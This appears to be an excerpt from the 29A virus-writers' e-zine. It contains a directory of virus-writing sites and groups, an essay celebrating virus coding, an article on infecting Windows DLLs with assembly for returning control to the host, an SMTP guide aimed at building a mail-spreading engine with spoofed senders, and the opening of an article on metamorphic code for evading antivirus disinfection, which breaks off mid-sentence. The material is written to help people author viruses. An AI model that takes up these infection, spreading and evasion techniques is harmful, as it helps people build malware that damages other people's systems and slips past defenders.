BeLiAL: http://home.foni.net/~belial/

Benny: http://benny29a.cjb.net

Bhunji: http://home.swipnet.se/bhunji/

Billy Belcebu: http://beautifulpeople.cjb.net/

Black Jack: http://blackjackvx.cjb.net/

Bumblebee: http://www.bbbee.cjb.net

CyberShadow: http://www.coderz.net/ABS/

Darkman: http://www.coderz.net/darkman

Dark Slayer: http://www.geocities.com/SiliconValley/Code/3403/ (retired)

Del_Armg0: http://www.delly.fr.st/

Duke: http://smf.chat.ru (also virus trader) (also SMF group site)

Eddow: http://members.xoom.com/Eddow/index.html

Evul: http://www.coderz.net/evul

f0re: http://f0re.cjb.net/

FRiZER: http://frizer.tsx.org

GigaByte: http://www.coderz.net/gigabyte

GriYo: http://www.bi0.net

Jackie Twoflowers: http://www.coderz.net/jackie

Knowdeth: http://www.coderz.net/metaphase/knowdeth/

Lethal Mind: http://www.coderz.net/lethalmind/ (retired)

LiFEwiRE: http://www.coderz.net/lifewire/

Lord Julus: http://lordjulus.cjb.net

Mandragore: http://www.multimania.com/mdrg/

moebius: http://www.coderz.net/moebius/ (retired?)

Mister Sandman: http://www.coderz.net//viruscafe/

Nigromant: http://www.fortunecity.com/skyscraper/ethernet/94/neurotic.htm
nucleii: http://www.coderz.net/nucleii

Paddingx: http://paddingx.cjb.net/

Prizzy: http://prizzy.cjb.net/

Psyclone X: http://macros.gq.nu/

Radix16: http://www.volny.cz/radix16/

Raid: http://www.coderz.net/Raid

Rajaat: http://www.shadowvx.com/rajaat

Renegade: http://www.geocities.com/TimesSquare/Hangar/6434/ (retired)

R-E-V: http://www.coderz.net/rev/

SMOOTHiE: http://SMOOTHiE.gq.nu/

Snakebyte: http://www.coderz.net/Snakebyte

T-2000: http://www.immortalriot.cjb.net (also Immortal Riot site)

The Spy: http://adult.dencity.com/virii/

The Walrus: http://www.walrus.8k.com/

The Wizard: http://www.geocities.com/Area51/Dimension/8145/

Toro: http://www.shadowvx.com/toro/

Ultras: http://www.coderz.net/ultras

VicodinES: http://skyscraper.fortunecity.com/tft/108/start.html (retired)

VxFaeRie: http://www.coderz.net/vxf

Wintermute: http://personal5.iddeo.es/wintrmute/indice.htm

Yello: http://www.yello.8k.com/

ZeMacroKiller98: http://www.crosswinds.net/~zemacrokiller98/index.htm

Z0MBiE: http://z0mbie.cjb.net/

Zulu: http://www.coderz.net/zulu (also virus trader)

Virus Collectors
----------------

Algol: http://www.geocities.com/algol_p/

Angus Thermopyle: http://members.tripod.com/thermopyle/ (retired)

Apoc: http://aappoocc.virtualave.net

BaidareW: http://www.free-hosting.lt/virii/

Black Cat: http://www.shadowvx.com/blackcat/


Basket: http://strony.wp.pl/wp/polish_basketcase

Buddy Music: http://welcome.to/BuddyMusic

ByteSurgeon: http://www.geocities.com/ByteSurgeon/

Cyphonix: http://www.geocities.com/cyphonix/

Daniel: http://www.coderz.net/daniel

Furkon: http://members.xoom.com/xoraxax/ (retired)

GGNome: http://ggnome.cjb.net/ (retired)

HomeSlice: http://www.coderz.net/homeslice

Newton: http://www.coderz.net/newton/

PastolVX: http://www.coderz.net/pastolvx

Perikles: http://jupiter.spaceports.com/~perikles

Phage: http://www.shadowvx.com/phage/

Quilb: http://logs.quilb.net/

raenius: http://www.shadowvx.com/raenius

RDX_: http://www.coderz.net/RDX_/

Roadkil: http://www.coderz.net/Roadkil/

Shadow Seeker: http://www.virusexchange.org/

Specter: http://www.shadowvx.com/specter/

Sph1nx: http://sph1nx.cjb.net/

Staggle: http://www.shadowvx.com/staggle/

StRaMoNiUm: http://neptune.spaceports.com/~stram/ (retired)

Tally: http://www.coderz.net/tally/

VEiN: http://home.wirefire.com/nathan/

Virax: http://welcome.to/Virax

VirusBuster: http://vtc.cjb.net

VirusP: http://www.shadowvx.com/virusp/

vxcod3: http://www.shadowvx.com/vxcod3

Worf: http://moon.zlin.vutbr.cz/~mimi/frame.html

Zordhak: http://www.coderz.net/zordhak/

VX Groups
---------
* (Asterix): http://virus.cyberspace.sk/

29A: http://www.coderz.net/29A

astigmatiZm: http://astigmatizm.cjb.net/

CodeBreakers: http://codebreakers.cjb.net (disbanded?)

Feathered Serpents: http://fly.to/serpents.org (disbanded?)

IKX: http://www.ikx4ever.org

Internet Virii Collecting Group: http://www.coderz.net/ivcg

LineZer0 VX Team: http://www.coderz.net/lz0vx/start.htm

MATRiX: http://www.coderz.net/matrix/

Metaphase VX Team: http://www.coderz.net/metaphase (disbanded?)

Misdirected Youth: http://myallstar.cjb.net/

Nomercy Virus Team: http://welcome.to/nomercy.com (disbanded?)

Shadow Dancer Team: http://coderz.net/ShadowDancer/

Shadow Virus Group: http://www.shadowvx.com

Silicium Revolte: http://siliciumrevolte.cjb.net/ (disbanded?)

Stealth Group: http://www.redline.ru/~one (disbanded?)

Sign Of Scream: http://www.geocities.com/SiliconValley/Garage/9398 (disbanded?)

TeaM NeCRoSiS: http://members.nbci.com/TeamNecrosis/

Zer0Gravity Team: http://www.coderz.net/3c/

Virus related sites


-------------------

4Q: http://shadowvx.com/4Q

Alta-Virus: http://altavirus.cjb.net/

Association of Satanic Maniacs: http://kickme.to/asm/

Chili: http://www.crosswinds.net/~chili/

Collection Maker Home Page: http://viry.bonusweb.cz/cm/index.html

darkbyte: http://www.darkbyte1.cjb.net/

EB Virus Labos 2K: http://virlab.cjb.net/

GeneCode: http://members.xoom.com/genecode/cgi/

Hex Files: http://come.to/hexfiles

Lord Arz: http://lordarz.webprovider.com/


Midnyte: http://www.coderz.net/midnyte/

Mist: http://www.misttsim.org/

My Fantasy Viruses Trading Centre: http://www.virusexpert.i-p.com/Trading.html

Pascal Virus Team: http://www.gospeller.newmail.ru/

Paul Zest: http://shadowvx.com/PZest

PhreakX: http://www.vxnews.8m.com/

Pinoy Virus Writers: http://hackers.b3.nu/

Recoder: http://www.halyava.ru/recoder

Siberian Bears Virus Club: http://sbvc.al.ru/

Slumdung: http://biocd.cjb.net/

Snake Layer: http://www.geocities.com/SiliconValley/Foothills/4784/

Spyda: http://www.coderz.net/spyda/

The Zoo: http://thezoo.dirtyhosting.com/

Top Device: http://topdev.cjb.net/

Undernet #virus: http://www.coderz.net/virus/

Undernet #vxers: http://vxers.rvx.net

Viral Hazard Crew: http://vhc.chat.ru/

Virii Argentina: http://www.virii.com.ar/

Virus Brasil: http://www.virusbrasil.8m.com

Virus Quarantine: http://www.geocities.com/Vienna/Opera/3503/virusq/

Virus Sorting New Generation: http://www.shadowvx.com/vsng

VX Heavens: http://vx.netlux.org/

VX India: http://www.vxi.cjb.net/

VX News: http://www.coderz.net/vxnews/

Yanush Milovski: http://yanush.cjb.net/

Final note:

If your site is not listed and you would like it's present on next 29A issue
send an email to darknode@oninet.es informing about your site.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Generally about VX scene ³
³ (from the psychedelic point of view) ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ by Benny/29A ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Thanx goez to ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Timothy Leary, The Beat generation, Skag and whole sixties yearz for giving me
inspiration about the sence of the life. Thank god for all psychedelic drugz he
gave us...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Fux goez to ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Idiotic human beingz that can't understand that they are NOT the center of
the universe. To that ppl that keep their mind closed and absolutelly don't
want to accept other'z opinionz and basic rightz. If you want to stay dumb
for the rest of your life then continue, do it! But don't touch my right - to
do whatever I want to do with myself - even with my brain, which you can NOT
and will NOT ever control... Fuck you!

ÚÄÄÄÄÄÄÄ¿
³ Intro ³
ÀÄÄÄÄÄÄÄÙ

Another stoned article about vx scene? Yep, the second one :-) To beginnerz I
still have something to say. I really l0ve vx scene, becoz it bringz to my life
many happy momentz...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ What'sa go? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

In this capitalistic world where the "rich" is everyone who has money, "smart"
who has white skin and lives in USA and "weird" and prosecuted the one who does
not agree with this kinda "humanity" is unbelieveable that there can exist
any other world, where the money, color of skin and nationality does not mean
anything...

Nothing can be perfect. Becoz of the differencez in thinking of ppl, I still


hope, but I already don't believe that such world can exist. The idea of
perfect communism. The idea all ppl would do what they like, they would take
what they would need. They would be happy, the destiny of individual would be
in individuals handz... the anarchy. In our current conditions, it's impossible.
Unfortunately. Or not?

I'm human from blood and bonez. Like everybody. When I entered VX scene, I was
mentaly young. I had many expectationz and ideaz of many thingz. But like the
life was going on, I changed many pointz of viewz... many ideaz. I started to
think about the sense of life. Sense of life is imho not about having money,
having a well payed job, expensive car and to be a member of yacht club. The
sense of life is to make the life itself happy to you. Everything is relative
from the viewpoint which you are looking from...

I believe the world is personal thing. Everybody percepts the world another
way... if you will do what you like, the world became better. Better for you.
Maybe you will say "better for you, but not better for otherz". False.
What is the universe? What is the world? What is wrong and what is right? It's
indiviual. If you like to code viruses and you don't cause damages to otherz,
if it is your fun and if you are happy when you code viruses, there's no
better thing to do than continue with it. If you like to help other ppl, if
you will happy when you are doing it, then do it. After all, when you will
lay on the bed of death, "noone" will ask you how much money have you earned,
how many people you pushed yer own ideaz or how many children have you made.
The "noone" will ask you if you think you lived well or not.

Finally, like the life goes on, I'm thinking about the past, about the presence
and the future... I've found out that the best I can do is do what I like to do.
The world will change to better if you will change to better... Becoz what is
world? The world is what you can see... And if you will become happy, if you
will do what you really, but really like to do, the world will be better.

Sometimez, people can't find the real sense of life becoz they have no choicez.
Some ppl, working in some big company, have the sense of life to wake up early,
go to work, then to pub and to home. Every day the same. Do you think they are
happy? I don't think so. But that's their problem... if they won't find out
that something is wrong, they won't ever find the real sense of life. But if
someone thinks that something is wrong with them, it's the start of big
journey. Don't become lost existence.

My advice is: explore you own mind. Open your mind to yourself. Think about
yourself. Find what you like to do, becoz you live here only once, the work
is not everything. The world will be the same how you will make it. Try to
be happy from little thingz... be happy with yourself. Trust yourself. Love
yourself (but don't be egoist). But you have to mean it seriously, truely and
you have to believe it from your heart. Do the right thingz - do what you like
to do, do what makes you happy, coz if you will be happy with your life, the
world will be happy with you...

My own, happy world, where I am exactly the one who I really am, is the VX
scene. The coding of artificial life. Being with real friendz and make the real
thingz. And which is your own happy world?

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
# Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿
@ benny_29a@privacyx.com ³
@ http://benny29a.cjb.net ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Considerations Infecting 32bits Libraries For Windows
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
by Bumblebee/29a

Introduction
ÄÄÄÄÄÄÄÄÄÄÄÄ

People thinks PE DLL files are the same than PE EXE files, but this is
not 100% right. The format it's the same, but not the way the files
works. I've noticed that coding DLL infectors ;)
This is a little article that shows you some tips you must take into
account while infecting this kind of PE files.

What is a DLL?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

In first place don't think DLL are only files with the DLL extension.
In your system there are different extensions that hides DLLs: CPL, AX,
ACM, ...

Let me hack this little description of DLLs from the Win32 SDK:

' In Microsoft Windows, dynamic-link libraries (DLL) are modules that


contain functions and data. A DLL is loaded at runtime by its calling
modules (.EXE or DLL). When a DLL is loaded, it is mapped into the
address space of the calling process.

DLLs can define two kinds of functions: exported and internal.


The exported functions can be called by other modules.
Internal functions can only be called from within the DLL where they
are defined. Although DLLs can export data, its data is usually only
used by its functions.
DLLs provide a way to modularize applications so that functionality can
be updated and reused more easilly. They also help reduce memory
overhead when several applications use the same functionality at the
same time, because although each application gets its own copy of the
data, they can share the code. '

This description gives us some points we must analize:

. The DLL it's loaded in the address space of the calling


process.
. Several applications use the same funcionality at the same
time.
. They can share code.

Considerations
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The first point we get from the description say us the DLL will be
relocated very often. We must think this will happen EVER. So we cannot
rely in jumps to DLLEP (host entry point) to return control to infected
program. We need to relocate this address. Nice way to do it could be:

lea esi,virusBegin+ebp
sub esi,dword ptr [calculatedVirusBegin+ebp]
add dword ptr [DLLEP+ebp],esi
virusBegin -> where the virus starts to run
calculatedVirusBegin -> EP calculated for the virus in the infection
process.
DLLEP -> old entry point

Let's imagine we infect a DLL with image base 70000000h and the DLLEP
7000d000h (Entry Point+Image Base). We put our virus at the end of the
last section and its RVA is 7001e000h. We patch the header and put the
entry point 0001e000h. At this point we save our calculated EP and the
old DLLEP (7001e000h and 7000d000h). Later when this DLL is executed
our virus does it's work and need to return to the original code. But
we cannot rely the DLL it's loaded at 70000000h so we cannot jump to
7000d000h (old EP). Now the previous code rules. You get your current
EP by the way of the delta offset (into ebp in the example). Then you
sub the supposed virus EP (7001e000h) and then you get the displacement
of the DLLEP. This is simple and could be done in several ways.

But this first point gives us more things to think in. The DLL uses
some things from the caller environment:

. The work directory: useful to find new files to infect.


. The heap and the stack: this is a great problem 'cause you NEED
to be very careful with the use of the stack. The heap is not a
problem, but the stack could be a nightmare. Suppose a process
loads 5 DLL and all are infected. If the virus uses 100h bytes
of stack... 500h bytes are used by the process. You must be
as light as possible with stack while infecting DLLs.

Now let's go into second point. The fact that several applications can
use the same DLL requires the DLL has a way to manage that work. The
DLLEP has the following spezial structure:

BOOL WINAPI DllEntryPoint( HINSTANCE hinstDLL,


DWORD fdwReason,LPVOID lpvReserved)

HINSTANCE hinstDLL -
This is a handle to the DLL.

DWORD fdwReason -
This is a flag that shows the DLL why DLLEP is called. This is a very
important point. Indicates one of the following:

. A process is attaching the DLL to it's address space.


. The process is creating a new thread.
. A thread is exiting cleanly.
. A process is detaching the DLL.

LPVOID lpvReserved -
Indicates some parametres to DLL initialization and cleanup.

As you can see fdwReason is very important and show us a very, very
important point: the DLLEP could be (and it will be) called more than
once.
You must take this into account. Your virus will be called more than
once and this could be very fucking in encrypted viruses. In non-enc
viruses there is no problem in 1st instance. But... what happens if
your decrypts twice? hehehe.
We could rid of this problem patching the virus to return host if it
called more than once or verifing the virus is decrypted to not do it
again. Make yourself.

At last we have they can share code. No problem. There is not anythin
you cannot check in section properties.
But experience gave me another points. It's possible a DLL has
NO CODE! Imagine what happens if you infect a DLL that only has
resurces ;) This is easy to check: just look code base is not equal to
zero, as example.

Last words
ÄÄÄÄÄÄÄÄÄÄ

I feel DLL infection very useful and not very complex if you care
of some points. And now with this article you can ;)
Most programs does all its work by DLLs and the main EXE file it's
only for the GUI. So DLL infection with per-process residency it's a
great choice.
I hope you've found this article interesting.

The way of the bee


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Bumblebee's guide to Simple Mail Transfer Protocol
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

INDEX

1. Overview
2. Syntaxis
3. Client messages
4. Server messages
5. Practice
6. Experience

1. Overview
ÄÄÄÄÄÄÄÄÄÄÄ

SMTP it's a protocol independent of the transmission subsystem and


requires only a ordered communication channel. This mean we cannot
use UDP but TCP. The SMTP defines a way of 'speak' with servers and
send, receive and manage mail and mail sessions.

This little guide explains how to send a mail using this protocol
and some tricks you can use in the process. Most of this
information can be found in the internet RFC821. Moreover there are
some tips you can get only from the experience. This is a guide and
the full information of the protocol is not avaliable but the
needed to send a mail succesfuly.

2. Syntaxis
ÄÄÄÄÄÄÄÄÄÄÄ

Here follows a little brief of the different messages that can be


used by the client and the server. Notice that is very important
to put spaces only where required 'cause so old SMTP servers could
have lame implementations and could be possible the server doesn't
process the message.

Client messages:

[CRLF] := pair of character equal to 0dh,0ah (0a0dh)


[string] := vector of character without special chars
[host] := string between < > '<bumblebee.net>'
[address] := e-mail address between < > '<29a@bumblebee.net>'
[multi-line] := different strigs separated by [CRLF]

HELO [host][CRLF]

MAIL FROM:[address][CRLF]

RCPT TO:[address][CRLF]

DATA[CRLF]
[multi-line]
[CRLF].[CRLF]

QUIT[CRLF]

Server responses:

Some particular:
220<string>[CRLF] := Service ready
250<string>[CRLF] := Requested action okay
221<string>[CRLF] := Closing transmission
251<string>[CRLF] := Fowarding mail
354<string>[CRLF] := Start main input

Some general: (use * as wild card: char from 0 to 9)

4**<string>[CRLF] := Not error but fail. Retry.


5**<string>[CRLF] := Error. Better disconnect!

3. Client messages
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

HELO [host][CRLF]

It's used to identify the client. This is not needed i all


the servers but it's a good idea to include it. If you don't
use it and it's needed the server will ask you for it when
you perform other operation. Most of the servers will not
check this host. Server ever knows the address of the client
so include it and don't use a fake address. Server answers
message 250 if all it's ok.

MAIL FROM:[address][CRLF]

This begins the 'send mail' process. The address required by


MAIL FROM can be different from client address and host used
by HELO. This is an interesting point 'cause you can put here
the fake address you want, www.microsoft.com as example ;)
Some servers only allows addressed of registered users in its
domain, but this is not very frequent. This command will
return message 250 if all it's ok.
This command must be followed by RCPT TO and DATA.

RCPT TO:[address][CRLF]

This lets know the server the destination recipient of the


mail. This address MUST be a right address if you want the
mail arrives ;) If the servers supports fowarding the address
doesn't needs to be owned by the server. This is in most
cases. This command will return message 250 from server if
fowarding not needed and 251 if the recipient account is not
in the server. This command must be after MAIL FROM and must
followed by DATA.

DATA[CRLF]
[multi-line]
[CRLF].[CRLF]

This is a non-simple message. Begins with a DATA command


that lets know the server we are going to send the body of
the mail. If all goes ok, previous right use of MAIL FROM and
RCPT TO, the server answers 354 and waits the mail input.
The mail input is a multi-line entry that must be finished
with [CRLF] dot [CRLF], without spaces between [CRLF] and the
dot. If all is ok the sever will answer 250. In most cases
the mail is processed just now, but in other cases the server
will wait until you send the QUIT message.

QUIT[CRLF]
This is used to close the session with the server. This
command ends with disconnection and with the 221 response.
Notice that several servers wait until you close the session
to process the mail to make sure you close the session in the
right way, not closing the connection in dirty way.

4. Server messages
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Server messages could change from one to another implemetation of


the protocol. There are servers that follow the reply code with a
space and other use a minus sign. Moreover the strings that gives u
a little description of the reason of the reply code could be in
any lenguage and format. Don't rely on them. You must only take
into account the three first bytes of the reply, thus the code that
is in ASCII format. But remember the SMTP session is connection
oriented 'cause the order of the messages is important. You must
read the whole reply message until the [CRLF].

5. Practice
ÄÄÄÄÄÄÄÄÄÄÄ

The simplest way to practice this protocol and understand it is


using a telnet client to connect with a SMTP server and send your
first mail.

The SMTP server are listening port 25. So you can connect by:

telnet smtp.server.dom 25

Try with a server that has SMTP. Most web based mail systems have
an address different of the one you use to send mail, so this could
not be a good idea. But test it simply connecting to port 25. Try
with mail.hotmail.com (not www.hotmail.com cause this is for HTTP),
but i'm not sure if it will work.
We are going to assume you connected without problems. Let's use
C for client and S for server. This could be your session:

S: 220 SMTP.SERVER.DOM Simple Mail Transfer Service Ready


C: HELO <bumblebee.net>
S: 250 Hello bumblebee.net!

C: MAIL FROM:<bumblebee@microsoft.com>
S: 250 OK

C: RCPT TO:<support@avp.com>
S: 251 User not local; will forward to support@avp.com

C: DATA
S: 354 Start mail input; end with <CRLF>.<CRLF>
C: Hi AVP people!
C: Are you Anti Viral Perverts?
C: .
S: 250 OK

C: QUIT
S: 221 SMTP.SERVER.DOM Service closing transmission channel

Simple, isn't it? Make different tests. Now you only need to code
your own engine!
6. Experience
ÄÄÄÄÄÄÄÄÄÄÄÄÄ

There are some things the official documentation doesn't say and
you must take into accout to avoid problems:

. The only one reliable part of the reply message of the


server are the three first bytes in each reply. There is a
rule that allows modern servers to have milti-line replies.
That's using the - sign after the code of reply. Last line
will not have it:

S: 220-SMTP.SERVER.DOM Simple Mail Transfer Service Ready


S: 220-That's an exaple of milti-line reply
S: 220 Ready to rock!

. In big networks could be that the SMTP server to send mails


is not the same that for incoming messages.
. The web based mail could give problems like the previous
point. You can try to send a mail to bee@easymail.com by the
connection to easymail.com. This is the simplest way 'cause
with one address you have the server to send and the address
for the destination. The problem could be there is not a 25
port avaliable listening for connections.
. The server will fill some fields in the mail for you. These
are usualy the fowarding address (if avaliable), the host of
the client (not necessary equal to sender address), and in
some cases the date if is not filled by the sender.
. You need to implement a standard format for the mail if you
want to send a file (hehehe). May be MIME 1.0 it's the best
solution. Keep in mind the previous point filling this data.
. Don't assume you are coding something 100% compatible,
there is a implementation in a server waiting to fuck your
client ;)

That's all. I hope you've found this article interesting and useful.

The way of the bee


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
ÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛ
ÛÜÛ Ü Ü Û ÜÜÜÜÛÜÜ ÜÜÛ ÜÜÜ Û Ü Ü Û ÜÜÜ Û ÜÜÜ Û ÜÜÜ Û ÛÛÛ ÛÜ ÜÛ ÜÜÜÜÛ Ü Ü ÛÜÛ
ÛÜÛ Û Û Û ÜÜÜÛÛÛÛ ÛÛÛ ÜÜÜ Û Û Û Û ÛÜÛ Û Ü ÜÜÛ ÜÜÜÜÛ ÜÜÜ ÛÛ ÛÛÜÜÜÜ Û Û Û ÛÜÛ
ÛÜÛÜÛÛÛÜÛÜÜÜÜÜÛÛÛÜÛÛÛÜÛÛÛÜÛÜÛÛÛÜÛÜÜÜÜÜÛÜÛÜÜÜÛÜÛÛÛÛÛÜÛÛÛÜÛÜÜÜÛÜÜÜÜÜÛÜÛÛÛÜÛÜÛ
ÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛ

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ(at the boundary of perfection)ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

by Lord Julus / 29A

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

(disclaimer)

This article was written for educational purposes only. It represents a


study on things which are already available and the author cannot be held
responsible for the misuse of the information coming from this article.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ÛßßßßßßßßßßßßÛÍ»
Û Foreword Û º
ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ

It's absolutely amazing, people how quickly the programming envolves.


But what is really amazing is that things that we do now are actually
available from the very beginning. It was just us who didn't see them from
the start, or it was "them" that didn't let us get a grip on the information
with fear about what we could do with it... The darn thing is that if you
already have the information, well... there's just no more fun to play with
so I guess none of the situations is ok. But for the moment here we are at a
peak in Win32 programming. The tools have developed, the styles were defined
and more and more tips do appear everyday. That's why I decided that
something new is supposed to come from me too. But, then again, nothing is
new on this planet. Everything was already invented and we simply find
easier, better, faster, simpler ways of doing the same thing. We reinvent
sometimes the wheel in order to make little by little reach perfection. Or
sometimes we simply don't know that something was proven to be impossible
and we manage to solve it (Einstein's theory on inventions). But, still, a
wheel is still a wheel. What you use it for is more important...

This time the object of my study is metamorphism. I think this is the


next step after polymorphism, a step that will reach coding up at a new
level: the highest peak of self mutating, the biggest step toward perfect
stealth, the best highway to the assembly heaven... If there exists
something like that... Personally I think there's only a programmer's hell,
because I'm sure that Windows is not allowed in Heaven...

I hope you will enjoy this article. If so, please drop me a note at
my e-mail address: lordjulus@geocities.com. I am always ready to hear new
infos and theories.

ÛßßßßßßßßßßÛÍ»
Û Basics Û º
ÛÜÜÜÜÜÜÜÜÜÜÛ º
ÈÍÍÍÍÍÍÍÍÍÍͼ
Literaly, the term "metamorphism" is wrongly used in relation with
code. By the definition given in the Webster, "metamorphism" means the
following: "change in the mineralogical, structural, or textural composition
of rocks under pressure, heat, chemical action, etc., which turns limestone
into marble, granite into gneiss, etc."

Metamorphose, however might be a better term: "to change in form or


nature; transform; subject to or undergo metamorphosis or metamorphism
SYN. transform."

Anyway, as the term metamorphism was widely accepted and as long as


it sounds much better, well, I will use this term to define the concept of
self mutating code.

So, the metamorphism is a very interesting concept that basically


means the following: it means that the code modifies itself from one carrier
to another. The difference between this feature and the polymorphism is
obvious. Polymorphism means creating different looking decryptors that
assure the lack of signatures in the body, while the metamorphism means
modifying the code itself, the whole code. Of course, as one might expect,
it is almost impossible to create a fully metamorphic code. I will not enter
the details here, but if you don't believe me, try it out. A big part of
this demo will have as purpose to show where the metamorphism should be used
in order to be really useful.

The main reason metamorphism is used is to protect the code against


automatic attackers. As I said many times, it is less likely to fool a human
being, especially a good programmer, but fooling the machine is much more
easier. Also, making it very difficult for the human to create an automatic
attacker against your code is also one goal reached by the use of
metamorphism.

This is, let's say, closest to a paradigm. A paradigm means a change


so important as it changes the concepts, the methods of working with the
concept and the theory about the concept. When an anti-virus software is
written and it succesfuly detects by the use of a concept, method and
theory, it will be able to detect all future viruses that are based on the
same concepts. Easy to understand. But once you modify all three aspects,
the av software must be fully redesigned. Doing this might lead in lowering
the eficiency in the approach regarding the old concepts also, because any
new method has the ability of making old methods work worse than before. I
will not continue this disertation here, but think about it...

Let's think about the general disinfector. What does it need? It


needs to know a few important values and that is all that it takes to
disinfect the file:

1.The place of the malaware code


2.The decryption keys places
3.The decryption algorithm
4.The place of the original code (if moved)
5.The original entrypoint

We don't care about the decryption algorithm here so we will only


check out the rest of the stuff.

Basically all the above values are stored inside your code at a
certain address. Things like these are most common:

OldEip dd 0
...
mov dword ptr [ebp+OldEip], eax
The human will look in your code and when he finally locates and
understands the above lines he will program his automatic code to look at
the address of OldEip and get the value from there. There's no need for
human interference when scanning for such a simple thing. Now the software
has located the original eip of the infected program and can safely remove
your hook just by restoring it. This is just a very simple way of
disinfecting.

How can we prevent such a thing, or how can we at least make it


harder? This is explained by some lite metamorphism methods.

ÛßßßßßßßßßßßßÛÍ»
Û Methods Û º
ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ

Multiple locations method


ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

Let's imagine that you replace the above codings with this:

OldEip1 dd 0
...
OldEip2 dd 0
...
OldEip3 dd 0

mov dword ptr [ebp+OldEip1], eax


metamorph1 = $-4

Now, our metamorphic engine has to do the following thing: decide


randomly which address to use, fill it with the right value, fill the other
with random values and go at address ebp+metamorph1 and fill in the address
of the needed value.

Where does it lead? Everytime the virus propagates the place where
the old entrypoint is stored will be different... And also, the instruction
that accesses it will differ from generation to generation. I don't know if
you realise the strength of this thing. Of course it is easily beatable by
locating the access instruction itself and getting the address from there.
But, think of this:

Oldeip1 dd 0
...
Oldeip2 dd 0
...
...
codeaddress1 dd 0
...
codeaddress2 dd 0
...
...

mov dword ptr [ebp+OldEip1], eax


...
mov dword ptr [ebp+codeaddress1], eax

Now, the two instructions both look like this when debugged:
mov [ebp+XXXXXXX], eax

Starting to get my point? Imagine you have 10 values you metamorph


around the code, each having 10 possible places and each being accessed
around 3 times, needed, and other 7 times just as junk... Do you realise how
many generation should one person generate to understand what is the actual
meaning of the code, and how hard would it be to locate the values needed
for disinfection?

You will say, no problem... if one can locate the metamorphic engine
he can decipher your code... Think so? Read furthure on the implementation
of the engine. Now let's check some other ways of using metamorphism.

The instruction modification


ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

This is a little bit tricky and you have to learn a little about
